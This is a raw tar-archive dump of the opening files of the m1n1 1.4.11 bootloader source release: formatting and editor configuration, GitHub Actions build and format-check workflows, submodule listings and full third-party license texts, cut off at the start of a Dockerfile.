pax_global_header00006660000000000000000000000064145375443020014521gustar00rootroot0000000000000052 comment=90eef7223e5da9bdc7ad7f823e7748326ba862d2 m1n1-1.4.11/000077500000000000000000000000001453754430200123615ustar00rootroot00000000000000m1n1-1.4.11/.clang-format000066400000000000000000000016371453754430200147430ustar00rootroot00000000000000BasedOnStyle: LLVM IndentWidth: 4 UseTab: Never BreakBeforeBraces: Linux AllowShortIfStatementsOnASingleLine: Never AllowShortFunctionsOnASingleLine: false AlignConsecutiveMacros: true IndentCaseLabels: true ColumnLimit: 100 IncludeBlocks: Regroup IncludeIsMainRegex: '(_.*)?$' # Include block order goes like this # - config.h style files, including ../config.h # - system headers (<>) # - All m1n1 headers, starting with the "this file" header, rest sorted # - 3rd party code headers # - build artifact headers (stuff outside of src/) IncludeCategories: - Regex: '^"(\.\./)*build/build_.*\.h"$' Priority: -3 - Regex: '^"(\.\./)*config\.h"$' Priority: -2 - Regex: '^<' Priority: -1 - Regex: '^"\.\./' Priority: 3 - Regex: '/' Priority: 2 - Regex: '.*' Priority: 0 SortPriority: 1 m1n1-1.4.11/.editorconfig000066400000000000000000000003571453754430200150430ustar00rootroot00000000000000root = true # Defaults [*] indent_style = space indent_size = 4 tab_width = 4 charset = utf-8 insert_final_newline = true trim_trailing_whitespace = true max_line_length = 100 [Makefile*] indent_style = tab tab_width = 8 indent_size = 8 m1n1-1.4.11/.github/000077500000000000000000000000001453754430200137215ustar00rootroot00000000000000m1n1-1.4.11/.github/workflows/000077500000000000000000000000001453754430200157565ustar00rootroot00000000000000m1n1-1.4.11/.github/workflows/build.yml000066400000000000000000000020521453754430200175770ustar00rootroot00000000000000# This is a basic workflow to help you get started with Actions name: build # Controls when the action will run. on: # Triggers the workflow on push or pull request events but only for the main branch push: branches: [ main ] pull_request: branches: [ main ] # Allows you to run this workflow manually from the Actions tab workflow_dispatch: jobs: build: runs-on: ubuntu-latest steps: - uses: actions/checkout@v2 with: submodules: recursive - name: Install aarch64-linux-gnu- toolchain run: | sudo apt-get update sudo apt-get install --no-install-recommends -y gcc-aarch64-linux-gnu - name: Install nightly rust run: | export RUSTUP_TOOLCHAIN=stable rustup target install aarch64-unknown-none-softfloat - name: Build run: make -k -j2 ARCH=aarch64-linux-gnu- CHAINLOADING=1 - uses: actions/upload-artifact@v2 with: name: m1n1 path: | build/m1n1.macho build/m1n1.bin m1n1-1.4.11/.github/workflows/main.yml000066400000000000000000000015641453754430200174330ustar00rootroot00000000000000# This is a basic workflow to help you get started with Actions name: format-check # Controls when the action will run. on: # Triggers the workflow on push or pull request events but only for the main branch push: branches: [ main ] pull_request: branches: [ main ] # Allows you to run this workflow manually from the Actions tab workflow_dispatch: jobs: format-check: runs-on: ubuntu-latest steps: # Checks-out your repository under $GITHUB_WORKSPACE, so your job can access it - uses: actions/checkout@v2 - name: install nightly rust run: | rm -f ~/.cargo/bin/rustfmt rm -f ~/.cargo/bin/cargo-fmt rustup toolchain install nightly --component rustfmt --component clippy --allow-downgrade - name: Run format-check run: | make format-check make rustfmt-check m1n1-1.4.11/.gitignore000066400000000000000000000001011453754430200143410ustar00rootroot00000000000000!build/.keep build/ __pycache__ *.pyc *.macho *.swp *.orig *.rej m1n1-1.4.11/.gitmodules000066400000000000000000000016141453754430200145400ustar00rootroot00000000000000[submodule "artwork"] path = artwork url = https://github.com/AsahiLinux/artwork.git [submodule "rust/vendor/rust-fatfs"] path = rust/vendor/rust-fatfs url = https://github.com/rafalh/rust-fatfs [submodule "rust/vendor/bitflags"] path = rust/vendor/bitflags url = https://github.com/bitflags/bitflags [submodule "rust/vendor/cfg-if"] path = rust/vendor/cfg-if url = https://github.com/alexcrichton/cfg-if [submodule "rust/vendor/cstr_core"] path = rust/vendor/cstr_core url = https://github.com/Amanieu/cstr_core [submodule "rust/vendor/cty"] path = rust/vendor/cty url = https://github.com/japaric/cty [submodule "rust/vendor/uuid"] path = rust/vendor/uuid url = https://github.com/uuid-rs/uuid [submodule "rust/vendor/log"] path = rust/vendor/log url = https://github.com/rust-lang/log [submodule "rust/vendor/memchr"] path = rust/vendor/memchr url = https://github.com/BurntSushi/memchr m1n1-1.4.11/3rdparty_licenses/000077500000000000000000000000001453754430200160165ustar00rootroot00000000000000m1n1-1.4.11/3rdparty_licenses/LICENSE.BSD-2.libfdt000066400000000000000000000024431453754430200210370ustar00rootroot00000000000000Copyright (C) 2006 David Gibson, IBM Corporation. All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. m1n1-1.4.11/3rdparty_licenses/LICENSE.BSD-3.arm000066400000000000000000000027201453754430200203510ustar00rootroot00000000000000Copyright (c) 2013-2020, ARM Limited and Contributors. All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: - Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. - Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. - Neither the name of Arm nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. m1n1-1.4.11/3rdparty_licenses/LICENSE.BSD-3.dwc3000066400000000000000000000033601453754430200204330ustar00rootroot00000000000000Copyright (C) 2010-2011 Texas Instruments Incorporated - http://www.ti.com Authors: Felipe Balbi , Sebastian Andrzej Siewior Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: 1. Redistributions of source code must retain the above copyright notice, this list of conditions, and the following disclaimer, without modification. 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. 3. The names of the above-listed copyright holders may not be used to endorse or promote products derived from this software without specific prior written permission. ALTERNATIVELY, this software may be distributed under the terms of the GNU General Public License ("GPL") version 2, as published by the Free Software Foundation. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. m1n1-1.4.11/3rdparty_licenses/LICENSE.CC0000066400000000000000000000156101453754430200173720ustar00rootroot00000000000000Creative Commons Legal Code CC0 1.0 Universal CREATIVE COMMONS CORPORATION IS NOT A LAW FIRM AND DOES NOT PROVIDE LEGAL SERVICES. DISTRIBUTION OF THIS DOCUMENT DOES NOT CREATE AN ATTORNEY-CLIENT RELATIONSHIP. CREATIVE COMMONS PROVIDES THIS INFORMATION ON AN "AS-IS" BASIS. CREATIVE COMMONS MAKES NO WARRANTIES REGARDING THE USE OF THIS DOCUMENT OR THE INFORMATION OR WORKS PROVIDED HEREUNDER, AND DISCLAIMS LIABILITY FOR DAMAGES RESULTING FROM THE USE OF THIS DOCUMENT OR THE INFORMATION OR WORKS PROVIDED HEREUNDER. Statement of Purpose The laws of most jurisdictions throughout the world automatically confer exclusive Copyright and Related Rights (defined below) upon the creator and subsequent owner(s) (each and all, an "owner") of an original work of authorship and/or a database (each, a "Work"). Certain owners wish to permanently relinquish those rights to a Work for the purpose of contributing to a commons of creative, cultural and scientific works ("Commons") that the public can reliably and without fear of later claims of infringement build upon, modify, incorporate in other works, reuse and redistribute as freely as possible in any form whatsoever and for any purposes, including without limitation commercial purposes. These owners may contribute to the Commons to promote the ideal of a free culture and the further production of creative, cultural and scientific works, or to gain reputation or greater distribution for their Work in part through the use and efforts of others. For these and/or other purposes and motivations, and without any expectation of additional consideration or compensation, the person associating CC0 with a Work (the "Affirmer"), to the extent that he or she is an owner of Copyright and Related Rights in the Work, voluntarily elects to apply CC0 to the Work and publicly distribute the Work under its terms, with knowledge of his or her Copyright and Related Rights in the Work and the meaning and intended legal effect of CC0 on those rights. 1. Copyright and Related Rights. A Work made available under CC0 may be protected by copyright and related or neighboring rights ("Copyright and Related Rights"). Copyright and Related Rights include, but are not limited to, the following: i. the right to reproduce, adapt, distribute, perform, display, communicate, and translate a Work; ii. moral rights retained by the original author(s) and/or performer(s); iii. publicity and privacy rights pertaining to a person's image or likeness depicted in a Work; iv. rights protecting against unfair competition in regards to a Work, subject to the limitations in paragraph 4(a), below; v. rights protecting the extraction, dissemination, use and reuse of data in a Work; vi. database rights (such as those arising under Directive 96/9/EC of the European Parliament and of the Council of 11 March 1996 on the legal protection of databases, and under any national implementation thereof, including any amended or successor version of such directive); and vii. other similar, equivalent or corresponding rights throughout the world based on applicable law or treaty, and any national implementations thereof. 2. Waiver. To the greatest extent permitted by, but not in contravention of, applicable law, Affirmer hereby overtly, fully, permanently, irrevocably and unconditionally waives, abandons, and surrenders all of Affirmer's Copyright and Related Rights and associated claims and causes of action, whether now known or unknown (including existing as well as future claims and causes of action), in the Work (i) in all territories worldwide, (ii) for the maximum duration provided by applicable law or treaty (including future time extensions), (iii) in any current or future medium and for any number of copies, and (iv) for any purpose whatsoever, including without limitation commercial, advertising or promotional purposes (the "Waiver"). Affirmer makes the Waiver for the benefit of each member of the public at large and to the detriment of Affirmer's heirs and successors, fully intending that such Waiver shall not be subject to revocation, rescission, cancellation, termination, or any other legal or equitable action to disrupt the quiet enjoyment of the Work by the public as contemplated by Affirmer's express Statement of Purpose. 3. Public License Fallback. Should any part of the Waiver for any reason be judged legally invalid or ineffective under applicable law, then the Waiver shall be preserved to the maximum extent permitted taking into account Affirmer's express Statement of Purpose. In addition, to the extent the Waiver is so judged Affirmer hereby grants to each affected person a royalty-free, non transferable, non sublicensable, non exclusive, irrevocable and unconditional license to exercise Affirmer's Copyright and Related Rights in the Work (i) in all territories worldwide, (ii) for the maximum duration provided by applicable law or treaty (including future time extensions), (iii) in any current or future medium and for any number of copies, and (iv) for any purpose whatsoever, including without limitation commercial, advertising or promotional purposes (the "License"). The License shall be deemed effective as of the date CC0 was applied by Affirmer to the Work. Should any part of the License for any reason be judged legally invalid or ineffective under applicable law, such partial invalidity or ineffectiveness shall not invalidate the remainder of the License, and in such case Affirmer hereby affirms that he or she will not (i) exercise any of his or her remaining Copyright and Related Rights in the Work or (ii) assert any associated claims and causes of action with respect to the Work, in either case contrary to Affirmer's express Statement of Purpose. 4. Limitations and Disclaimers. a. No trademark or patent rights held by Affirmer are waived, abandoned, surrendered, licensed or otherwise affected by this document. b. Affirmer offers the Work as-is and makes no representations or warranties of any kind concerning the Work, express, implied, statutory or otherwise, including without limitation warranties of title, merchantability, fitness for a particular purpose, non infringement, or the absence of latent or other defects, accuracy, or the present or absence of errors, whether or not discoverable, all to the greatest extent permissible under applicable law. c. Affirmer disclaims responsibility for clearing rights of other persons that may apply to the Work or any use thereof, including without limitation any person's Copyright and Related Rights in the Work. Further, Affirmer disclaims responsibility for obtaining any necessary consents, permissions or other rights required for any use of the Work. d. Affirmer understands and acknowledges that Creative Commons is not a party to this document and has no duty or obligation with respect to this CC0 or use of the Work. m1n1-1.4.11/3rdparty_licenses/LICENSE.GPL-2000066400000000000000000000432561453754430200176150ustar00rootroot00000000000000 GNU GENERAL PUBLIC LICENSE Version 2, June 1991 Copyright (C) 1989, 1991 Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. Preamble The licenses for most software are designed to take away your freedom to share and change it. By contrast, the GNU General Public License is intended to guarantee your freedom to share and change free software--to make sure the software is free for all its users. This General Public License applies to most of the Free Software Foundation's software and to any other program whose authors commit to using it. (Some other Free Software Foundation software is covered by the GNU Lesser General Public License instead.) You can apply it to your programs, too. When we speak of free software, we are referring to freedom, not price. Our General Public Licenses are designed to make sure that you have the freedom to distribute copies of free software (and charge for this service if you wish), that you receive source code or can get it if you want it, that you can change the software or use pieces of it in new free programs; and that you know you can do these things. To protect your rights, we need to make restrictions that forbid anyone to deny you these rights or to ask you to surrender the rights. These restrictions translate to certain responsibilities for you if you distribute copies of the software, or if you modify it. For example, if you distribute copies of such a program, whether gratis or for a fee, you must give the recipients all the rights that you have. You must make sure that they, too, receive or can get the source code. And you must show them these terms so they know their rights. We protect your rights with two steps: (1) copyright the software, and (2) offer you this license which gives you legal permission to copy, distribute and/or modify the software. Also, for each author's protection and ours, we want to make certain that everyone understands that there is no warranty for this free software. If the software is modified by someone else and passed on, we want its recipients to know that what they have is not the original, so that any problems introduced by others will not reflect on the original authors' reputations. Finally, any free program is threatened constantly by software patents. We wish to avoid the danger that redistributors of a free program will individually obtain patent licenses, in effect making the program proprietary. To prevent this, we have made it clear that any patent must be licensed for everyone's free use or not licensed at all. The precise terms and conditions for copying, distribution and modification follow. GNU GENERAL PUBLIC LICENSE TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION 0. This License applies to any program or other work which contains a notice placed by the copyright holder saying it may be distributed under the terms of this General Public License. The "Program", below, refers to any such program or work, and a "work based on the Program" means either the Program or any derivative work under copyright law: that is to say, a work containing the Program or a portion of it, either verbatim or with modifications and/or translated into another language. (Hereinafter, translation is included without limitation in the term "modification".) Each licensee is addressed as "you". Activities other than copying, distribution and modification are not covered by this License; they are outside its scope. The act of running the Program is not restricted, and the output from the Program is covered only if its contents constitute a work based on the Program (independent of having been made by running the Program). Whether that is true depends on what the Program does. 1. You may copy and distribute verbatim copies of the Program's source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice and disclaimer of warranty; keep intact all the notices that refer to this License and to the absence of any warranty; and give any other recipients of the Program a copy of this License along with the Program. You may charge a fee for the physical act of transferring a copy, and you may at your option offer warranty protection in exchange for a fee. 2. You may modify your copy or copies of the Program or any portion of it, thus forming a work based on the Program, and copy and distribute such modifications or work under the terms of Section 1 above, provided that you also meet all of these conditions: a) You must cause the modified files to carry prominent notices stating that you changed the files and the date of any change. b) You must cause any work that you distribute or publish, that in whole or in part contains or is derived from the Program or any part thereof, to be licensed as a whole at no charge to all third parties under the terms of this License. c) If the modified program normally reads commands interactively when run, you must cause it, when started running for such interactive use in the most ordinary way, to print or display an announcement including an appropriate copyright notice and a notice that there is no warranty (or else, saying that you provide a warranty) and that users may redistribute the program under these conditions, and telling the user how to view a copy of this License. (Exception: if the Program itself is interactive but does not normally print such an announcement, your work based on the Program is not required to print an announcement.) These requirements apply to the modified work as a whole. If identifiable sections of that work are not derived from the Program, and can be reasonably considered independent and separate works in themselves, then this License, and its terms, do not apply to those sections when you distribute them as separate works. But when you distribute the same sections as part of a whole which is a work based on the Program, the distribution of the whole must be on the terms of this License, whose permissions for other licensees extend to the entire whole, and thus to each and every part regardless of who wrote it. Thus, it is not the intent of this section to claim rights or contest your rights to work written entirely by you; rather, the intent is to exercise the right to control the distribution of derivative or collective works based on the Program. In addition, mere aggregation of another work not based on the Program with the Program (or with a work based on the Program) on a volume of a storage or distribution medium does not bring the other work under the scope of this License. 3. You may copy and distribute the Program (or a work based on it, under Section 2) in object code or executable form under the terms of Sections 1 and 2 above provided that you also do one of the following: a) Accompany it with the complete corresponding machine-readable source code, which must be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or, b) Accompany it with a written offer, valid for at least three years, to give any third party, for a charge no more than your cost of physically performing source distribution, a complete machine-readable copy of the corresponding source code, to be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or, c) Accompany it with the information you received as to the offer to distribute corresponding source code. (This alternative is allowed only for noncommercial distribution and only if you received the program in object code or executable form with such an offer, in accord with Subsection b above.) The source code for a work means the preferred form of the work for making modifications to it. For an executable work, complete source code means all the source code for all modules it contains, plus any associated interface definition files, plus the scripts used to control compilation and installation of the executable. However, as a special exception, the source code distributed need not include anything that is normally distributed (in either source or binary form) with the major components (compiler, kernel, and so on) of the operating system on which the executable runs, unless that component itself accompanies the executable. If distribution of executable or object code is made by offering access to copy from a designated place, then offering equivalent access to copy the source code from the same place counts as distribution of the source code, even though third parties are not compelled to copy the source along with the object code. 4. You may not copy, modify, sublicense, or distribute the Program except as expressly provided under this License. Any attempt otherwise to copy, modify, sublicense or distribute the Program is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance. 5. You are not required to accept this License, since you have not signed it. However, nothing else grants you permission to modify or distribute the Program or its derivative works. These actions are prohibited by law if you do not accept this License. Therefore, by modifying or distributing the Program (or any work based on the Program), you indicate your acceptance of this License to do so, and all its terms and conditions for copying, distributing or modifying the Program or works based on it. 6. Each time you redistribute the Program (or any work based on the Program), the recipient automatically receives a license from the original licensor to copy, distribute or modify the Program subject to these terms and conditions. You may not impose any further restrictions on the recipients' exercise of the rights granted herein. You are not responsible for enforcing compliance by third parties to this License. 7. If, as a consequence of a court judgment or allegation of patent infringement or for any other reason (not limited to patent issues), conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot distribute so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not distribute the Program at all. For example, if a patent license would not permit royalty-free redistribution of the Program by all those who receive copies directly or indirectly through you, then the only way you could satisfy both it and this License would be to refrain entirely from distribution of the Program. If any portion of this section is held invalid or unenforceable under any particular circumstance, the balance of the section is intended to apply and the section as a whole is intended to apply in other circumstances. It is not the purpose of this section to induce you to infringe any patents or other property right claims or to contest validity of any such claims; this section has the sole purpose of protecting the integrity of the free software distribution system, which is implemented by public license practices. Many people have made generous contributions to the wide range of software distributed through that system in reliance on consistent application of that system; it is up to the author/donor to decide if he or she is willing to distribute software through any other system and a licensee cannot impose that choice. This section is intended to make thoroughly clear what is believed to be a consequence of the rest of this License. 8. If the distribution and/or use of the Program is restricted in certain countries either by patents or by copyrighted interfaces, the original copyright holder who places the Program under this License may add an explicit geographical distribution limitation excluding those countries, so that distribution is permitted only in or among countries not thus excluded. In such case, this License incorporates the limitation as if written in the body of this License. 9. The Free Software Foundation may publish revised and/or new versions of the General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. Each version is given a distinguishing version number. If the Program specifies a version number of this License which applies to it and "any later version", you have the option of following the terms and conditions either of that version or of any later version published by the Free Software Foundation. If the Program does not specify a version number of this License, you may choose any version ever published by the Free Software Foundation. 10. If you wish to incorporate parts of the Program into other free programs whose distribution conditions are different, write to the author to ask for permission. For software which is copyrighted by the Free Software Foundation, write to the Free Software Foundation; we sometimes make exceptions for this. Our decision will be guided by the two goals of preserving the free status of all derivatives of our free software and of promoting the sharing and reuse of software generally. NO WARRANTY 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. END OF TERMS AND CONDITIONS How to Apply These Terms to Your New Programs If you develop a new program, and you want it to be of the greatest possible use to the public, the best way to achieve this is to make it free software which everyone can redistribute and change under these terms. To do so, attach the following notices to the program. It is safest to attach them to the start of each source file to most effectively convey the exclusion of warranty; and each file should have at least the "copyright" line and a pointer to where the full notice is found. Copyright (C) This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. Also add information on how to contact you by electronic and paper mail. If the program is interactive, make it output a short notice like this when it starts in an interactive mode: Gnomovision version 69, Copyright (C) year name of author Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'. This is free software, and you are welcome to redistribute it under certain conditions; type `show c' for details. The hypothetical commands `show w' and `show c' should show the appropriate parts of the General Public License. Of course, the commands you use may be called something other than `show w' and `show c'; they could even be mouse-clicks or menu items--whatever suits your program. You should also get your employer (if you work as a programmer) or your school, if any, to sign a "copyright disclaimer" for the program, if necessary. Here is a sample; alter the names: Yoyodyne, Inc., hereby disclaims all copyright interest in the program `Gnomovision' (which makes passes at compilers) written by James Hacker. , 1 April 1989 Ty Coon, President of Vice This General Public License does not permit incorporating your program into proprietary programs. If your program is a subroutine library, you may consider it more useful to permit linking proprietary applications with the library. If this is what you want to do, use the GNU Lesser General Public License instead of this License. m1n1-1.4.11/3rdparty_licenses/LICENSE.OFL-1.1000066400000000000000000000106051453754430200177410ustar00rootroot00000000000000Copyright 2010-2019 Adobe (http://www.adobe.com/), with Reserved Font Name 'Source'. All Rights Reserved. Source is a trademark of Adobe in the United States and/or other countries. This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: http://scripts.sil.org/OFL ----------------------------------------------------------- SIL OPEN FONT LICENSE Version 1.1 - 26 February 2007 ----------------------------------------------------------- PREAMBLE The goals of the Open Font License (OFL) are to stimulate worldwide development of collaborative font projects, to support the font creation efforts of academic and linguistic communities, and to provide a free and open framework in which fonts may be shared and improved in partnership with others. The OFL allows the licensed fonts to be used, studied, modified and redistributed freely as long as they are not sold by themselves. The fonts, including any derivative works, can be bundled, embedded, redistributed and/or sold with any software provided that any reserved names are not used by derivative works. The fonts and derivatives, however, cannot be released under any other type of license. The requirement for fonts to remain under this license does not apply to any document created using the fonts or their derivatives. DEFINITIONS "Font Software" refers to the set of files released by the Copyright Holder(s) under this license and clearly marked as such. This may include source files, build scripts and documentation. "Reserved Font Name" refers to any names specified as such after the copyright statement(s). "Original Version" refers to the collection of Font Software components as distributed by the Copyright Holder(s). "Modified Version" refers to any derivative made by adding to, deleting, or substituting -- in part or in whole -- any of the components of the Original Version, by changing formats or by porting the Font Software to a new environment. "Author" refers to any designer, engineer, programmer, technical writer or other person who contributed to the Font Software. PERMISSION & CONDITIONS Permission is hereby granted, free of charge, to any person obtaining a copy of the Font Software, to use, study, copy, merge, embed, modify, redistribute, and sell modified and unmodified copies of the Font Software, subject to the following conditions: 1) Neither the Font Software nor any of its individual components, in Original or Modified Versions, may be sold by itself. 2) Original or Modified Versions of the Font Software may be bundled, redistributed and/or sold with any software, provided that each copy contains the above copyright notice and this license. These can be included either as stand-alone text files, human-readable headers or in the appropriate machine-readable metadata fields within text or binary files as long as those fields can be easily viewed by the user. 3) No Modified Version of the Font Software may use the Reserved Font Name(s) unless explicit written permission is granted by the corresponding Copyright Holder. This restriction only applies to the primary font name as presented to the users. 4) The name(s) of the Copyright Holder(s) or the Author(s) of the Font Software shall not be used to promote, endorse or advertise any Modified Version, except to acknowledge the contribution(s) of the Copyright Holder(s) and the Author(s) or with their explicit written permission. 5) The Font Software, modified or unmodified, in part or in whole, must be distributed entirely under this license, and must not be distributed under any other license. The requirement for fonts to remain under this license does not apply to any document created using the Font Software. TERMINATION This license becomes null and void if any of the above conditions are not met. DISCLAIMER THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT OF COPYRIGHT, PATENT, TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL THE COPYRIGHT HOLDER BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, INCLUDING ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL DAMAGES, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM OTHER DEALINGS IN THE FONT SOFTWARE. m1n1-1.4.11/3rdparty_licenses/LICENSE.minlzma000066400000000000000000000020551453754430200204730ustar00rootroot00000000000000MIT License Copyright (c) 2020 Alex Ionescu Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. m1n1-1.4.11/3rdparty_licenses/LICENSE.tinf000066400000000000000000000016071453754430200177660ustar00rootroot00000000000000The zlib License (Zlib) Copyright (c) 2003-2019 Joergen Ibsen This software is provided 'as-is', without any express or implied warranty. In no event will the authors be held liable for any damages arising from the use of this software. Permission is granted to anyone to use this software for any purpose, including commercial applications, and to alter it and redistribute it freely, subject to the following restrictions: 1. The origin of this software must not be misrepresented; you must not claim that you wrote the original software. If you use this software in a product, an acknowledgment in the product documentation would be appreciated but is not required. 2. Altered source versions must be plainly marked as such, and must not be misrepresented as being the original software. 3. This notice may not be removed or altered from any source distribution. m1n1-1.4.11/Dockerfile000066400000000000000000000006011453754430200143500ustar00rootroot00000000000000FROM 